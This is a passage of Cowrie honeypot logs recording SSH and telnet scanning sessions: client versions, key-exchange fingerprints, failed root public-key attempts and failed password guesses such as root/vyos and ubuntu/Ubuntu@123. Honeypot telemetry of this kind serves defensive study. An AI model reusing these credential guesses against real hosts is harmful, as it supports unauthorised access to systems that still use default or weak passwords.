1@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.218619Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:92:d1:97:3d:e8:73:1f:0b:7a:f1:ad:9d:29:15:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC279rJdY6uVBCv+M7ZjCXNwM03/uX6LBNhk/nqBWpXn6EJ6797nu6lBpatqEz22NlRpnuidrX6UN0ouTHdeW9YIMv0s/MU6NbLUyWlVBbKieZiePhOHNu32tZRAR0iq5+MtiXykALoIVSGVRBN9YoV2oXUWDGzfIb237saFhyVI01TamWbtLaxGDMBYGvCNBsWxZITeyRe7v47AGFdZxET7wiRFTOS8j/gZQNRwULHujzZvWnGdZK1Eu/rB0LzW1Y8bPMqBuvGh+bmUo6SoKy64NBAzara/5jd9bwi2y4JAJMLGl77/cw+xpIl3WD+OZRnR+lU+DnNn6pW/Zw5165R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:92:d1:97:3d:e8:73:1f:0b:7a:f1:ad:9d:29:15:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.287819Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:92:d1:97:3d:e8:73:1f:0b:7a:f1:ad:9d:29:15:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC279rJdY6uVBCv+M7ZjCXNwM03/uX6LBNhk/nqBWpXn6EJ6797nu6lBpatqEz22NlRpnuidrX6UN0ouTHdeW9YIMv0s/MU6NbLUyWlVBbKieZiePhOHNu32tZRAR0iq5+MtiXykALoIVSGVRBN9YoV2oXUWDGzfIb237saFhyVI01TamWbtLaxGDMBYGvCNBsWxZITeyRe7v47AGFdZxET7wiRFTOS8j/gZQNRwULHujzZvWnGdZK1Eu/rB0LzW1Y8bPMqBuvGh+bmUo6SoKy64NBAzara/5jd9bwi2y4JAJMLGl77/cw+xpIl3WD+OZRnR+lU+DnNn6pW/Zw5165R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.291625Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:42:00:17:dd:d6:15:02:0a:1f:46:6e:5b:10:c6:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAmsHpsMhRH66wTMWAfkf84D9oDvo+7K1OSk8MYsdX7vSAdQl6XiTFN02i4hAXGOIRFBPIQyr+Vi928mFFAaBchBi2NsG/OlbV995OImT0FRREAwfRBm4pePP1Up8s+1dA5kKZ9ISx1IL6HsvxhP8sLsdZT44bpeCt+hMZoXktiRQf8lmV6YXxhdoNCGy7MdQy46FO1bBtr2sJ0rgJcgqfq9zHtkEHTQeH2WF/hjJ3QcJUvtFbIrDanYkhesS3I5AP82Rq+Tegv6oWizehw6/lcw6eDIA4/THkR9dPo3rJeaodgBu0ogHfVuPli6QXNPm4GJin9swqIt5s9Xnsf43/pLvLDqU0p6GpikI6VfJmXH0pSUAtXfIw9M18LjGUhq7UHgEW0HrWQOLErCYl73Kb0NBS3VEtdmyLr2zVbLsT+qT9SNuL+TdRCFwypsvbMVglQZlqMeAjKV3oUjtZkgML1diJWz7zlUOZni+rV+8RhEQYF7wueX/y8Ny0veV9DDzofXxGkziucoclqa9826SCQy9BGq5e6qO4QWmm2mkrrWzGGqS1ChUaLKycTYB9/auVmu0ztX4zxVFoKha5RxusJ4H201ccrtCAs0iwX2Arqutt7NN7BEIHYQqCfePEXNfVlXEBPftUMXV+chNPDe3/6Qf7V1VeOi1/ZKxsyUzN1V0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:42:00:17:dd:d6:15:02:0a:1f:46:6e:5b:10:c6:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.311275Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:42:00:17:dd:d6:15:02:0a:1f:46:6e:5b:10:c6:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAmsHpsMhRH66wTMWAfkf84D9oDvo+7K1OSk8MYsdX7vSAdQl6XiTFN02i4hAXGOIRFBPIQyr+Vi928mFFAaBchBi2NsG/OlbV995OImT0FRREAwfRBm4pePP1Up8s+1dA5kKZ9ISx1IL6HsvxhP8sLsdZT44bpeCt+hMZoXktiRQf8lmV6YXxhdoNCGy7MdQy46FO1bBtr2sJ0rgJcgqfq9zHtkEHTQeH2WF/hjJ3QcJUvtFbIrDanYkhesS3I5AP82Rq+Tegv6oWizehw6/lcw6eDIA4/THkR9dPo3rJeaodgBu0ogHfVuPli6QXNPm4GJin9swqIt5s9Xnsf43/pLvLDqU0p6GpikI6VfJmXH0pSUAtXfIw9M18LjGUhq7UHgEW0HrWQOLErCYl73Kb0NBS3VEtdmyLr2zVbLsT+qT9SNuL+TdRCFwypsvbMVglQZlqMeAjKV3oUjtZkgML1diJWz7zlUOZni+rV+8RhEQYF7wueX/y8Ny0veV9DDzofXxGkziucoclqa9826SCQy9BGq5e6qO4QWmm2mkrrWzGGqS1ChUaLKycTYB9/auVmu0ztX4zxVFoKha5RxusJ4H201ccrtCAs0iwX2Arqutt7NN7BEIHYQqCfePEXNfVlXEBPftUMXV+chNPDe3/6Qf7V1VeOi1/ZKxsyUzN1V0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.315367Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:fe:3a:7d:6f:c2:76:72:5f:4e:f1:3b:6b:3f:88:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVquCcJ4dP5katbSR3a9hFwaEQaR78phrf2P88904AsdGTmOEKVcvpD+ULlvK7EHUiALl30fq108vbUX13urGcJyIdIiIPRfeVcpOd+RTbGx1vBqe9GKByY0e2VpnGohMFqo1UQlR+U/xY7sc2Ez0vL6CcJC7F6xkxir0WFSUGDCEt9HKt8ebeBEpfj5JlPq0Zial+kGK1QzB06xpHFNhQSFxThxlzIt30DZ0lrqBUNjWl5rXvWbVNXZNHuaof4xYbMv0Y7WzPZITEnfVQIKsdnNL0lkSNnKtf9az3kbWY8lDGZzrMtwSJjJvmm9pqkvGWhBrWu+Zf2fsEWQKDgxar","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:fe:3a:7d:6f:c2:76:72:5f:4e:f1:3b:6b:3f:88:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.337348Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:fe:3a:7d:6f:c2:76:72:5f:4e:f1:3b:6b:3f:88:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVquCcJ4dP5katbSR3a9hFwaEQaR78phrf2P88904AsdGTmOEKVcvpD+ULlvK7EHUiALl30fq108vbUX13urGcJyIdIiIPRfeVcpOd+RTbGx1vBqe9GKByY0e2VpnGohMFqo1UQlR+U/xY7sc2Ez0vL6CcJC7F6xkxir0WFSUGDCEt9HKt8ebeBEpfj5JlPq0Zial+kGK1QzB06xpHFNhQSFxThxlzIt30DZ0lrqBUNjWl5rXvWbVNXZNHuaof4xYbMv0Y7WzPZITEnfVQIKsdnNL0lkSNnKtf9az3kbWY8lDGZzrMtwSJjJvmm9pqkvGWhBrWu+Zf2fsEWQKDgxar","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.340988Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:22:6a:cb:2f:f5:f4:fd:08:7c:34:36:f1:af:bd:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkH/ER8q7O3gsOoEMS92yhx7nTvZVQ8vOK+iZUfTthsrYw5ZaPmvixuc2gxMlmRo58vA1WKw1dxYBpcTiRBtElYWziYMmHRaV5zN1UEbA7mtBlESlXVcBBrs4Jx3FKklvx4yQWyHvg+hExsVCWN/HD+Sbwdxasm/5B4BdDI7NMfeL2wXSywHlbObHL81tLoBMeUBWWFovxB1iZDsZNx95PtDBiIqX3qxc0hSFW6YvpY5hzejt8QQGNuqQQdJh+zZSKs1nL12lH9/RkTp1pVbvaLbx6ka5TRamQTQn76zp+X8ebI6BXkPHwh7xha/cXDoOy8TwQ1HvvXOQOtO70+hwf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:22:6a:cb:2f:f5:f4:fd:08:7c:34:36:f1:af:bd:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.359567Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:22:6a:cb:2f:f5:f4:fd:08:7c:34:36:f1:af:bd:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkH/ER8q7O3gsOoEMS92yhx7nTvZVQ8vOK+iZUfTthsrYw5ZaPmvixuc2gxMlmRo58vA1WKw1dxYBpcTiRBtElYWziYMmHRaV5zN1UEbA7mtBlESlXVcBBrs4Jx3FKklvx4yQWyHvg+hExsVCWN/HD+Sbwdxasm/5B4BdDI7NMfeL2wXSywHlbObHL81tLoBMeUBWWFovxB1iZDsZNx95PtDBiIqX3qxc0hSFW6YvpY5hzejt8QQGNuqQQdJh+zZSKs1nL12lH9/RkTp1pVbvaLbx6ka5TRamQTQn76zp+X8ebI6BXkPHwh7xha/cXDoOy8TwQ1HvvXOQOtO70+hwf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.363036Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:29:5c:4a:9d:af:85:b2:14:92:df:d9:71:eb:3a:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO/tns2xBD9fx56XP6FLWVh0fyx+4kK6HERll4Z1Jwx1M0Rz9bo2swiKTmnCBvLvgCnCd7A1GY9ADCNxHhOC45W4fqAQT6TKJvM2ghxVNB0iDO6T9WlgVw6kfvCzTSp9KqCK6WWOt8//OKzG5mbrIBo0Kiw3oSCiR0zgas5RzQQTjEI4X0ZtFitbu9P8lZsHNvzzpkmXNxZdTBE5nWEE82aLlDErTzP3V+dS7G+w08IITm02gOPR13GJ87jpfMU7jzyLPCOIGHqX4HM8KgTTteXWR2X73AeKHvuD4nbKvI+Q9unrznnil7ygtIV6zeNAnPtrJKsL1U8vQG7ZMLoSSL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:29:5c:4a:9d:af:85:b2:14:92:df:d9:71:eb:3a:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.381171Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:29:5c:4a:9d:af:85:b2:14:92:df:d9:71:eb:3a:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO/tns2xBD9fx56XP6FLWVh0fyx+4kK6HERll4Z1Jwx1M0Rz9bo2swiKTmnCBvLvgCnCd7A1GY9ADCNxHhOC45W4fqAQT6TKJvM2ghxVNB0iDO6T9WlgVw6kfvCzTSp9KqCK6WWOt8//OKzG5mbrIBo0Kiw3oSCiR0zgas5RzQQTjEI4X0ZtFitbu9P8lZsHNvzzpkmXNxZdTBE5nWEE82aLlDErTzP3V+dS7G+w08IITm02gOPR13GJ87jpfMU7jzyLPCOIGHqX4HM8KgTTteXWR2X73AeKHvuD4nbKvI+Q9unrznnil7ygtIV6zeNAnPtrJKsL1U8vQG7ZMLoSSL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.384792Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:29.403117Z","src_ip":"172.105.16.171","session":"3330019e0d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.284093379974365,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:42.006426Z","src_ip":"212.55.149.117","session":"2713f30bb0e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":34134,"dst_ip":"10.17.0.5","dst_port":22,"session":"48756125d6a4","protocol":"ssh","message":"New connection: 50.225.176.238:34134 (10.17.0.5:22) [session: 48756125d6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:45.525576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:45.530359Z","src_ip":"50.225.176.238","session":"48756125d6a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:45.541889Z","src_ip":"50.225.176.238","session":"48756125d6a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"biadmin","message":"login attempt [root/biadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:45.620967Z","src_ip":"50.225.176.238","session":"48756125d6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:46.635698Z","src_ip":"50.225.176.238","session":"48756125d6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53404,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d1dbdb81c3a","protocol":"ssh","message":"New connection: 103.15.226.202:53404 (10.17.0.5:22) [session: 2d1dbdb81c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:49.096506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:49.100926Z","src_ip":"103.15.226.202","session":"2d1dbdb81c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:49.339455Z","src_ip":"103.15.226.202","session":"2d1dbdb81c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vyos","message":"login attempt [root/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:50.109105Z","src_ip":"103.15.226.202","session":"2d1dbdb81c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:51.352473Z","src_ip":"103.15.226.202","session":"2d1dbdb81c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.98452687263489,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:55:52.620281Z","src_ip":"212.55.149.117","session":"975212bf42bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":45182,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fbc611a8d33","protocol":"ssh","message":"New connection: 198.98.56.227:45182 (10.17.0.5:22) [session: 5fbc611a8d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:08.666250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:08.675686Z","src_ip":"198.98.56.227","session":"5fbc611a8d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:08.682210Z","src_ip":"198.98.56.227","session":"5fbc611a8d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@123","message":"login attempt [ubuntu/Ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:08.715462Z","src_ip":"198.98.56.227","session":"5fbc611a8d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:09.740123Z","src_ip":"198.98.56.227","session":"5fbc611a8d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":52776,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d617e1cfd6","protocol":"ssh","message":"New connection: 50.225.176.238:52776 (10.17.0.5:22) [session: 02d617e1cfd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:35.625356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:35.630301Z","src_ip":"50.225.176.238","session":"02d617e1cfd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:35.642329Z","src_ip":"50.225.176.238","session":"02d617e1cfd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty","message":"login attempt [user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:35.725491Z","src_ip":"50.225.176.238","session":"02d617e1cfd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:36.741309Z","src_ip":"50.225.176.238","session":"02d617e1cfd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":33344,"dst_ip":"10.17.0.5","dst_port":22,"session":"6848decd8e60","protocol":"ssh","message":"New connection: 198.98.56.227:33344 (10.17.0.5:22) [session: 6848decd8e60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:57.027587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:57.032920Z","src_ip":"198.98.56.227","session":"6848decd8e60","protocol":"ssh"}
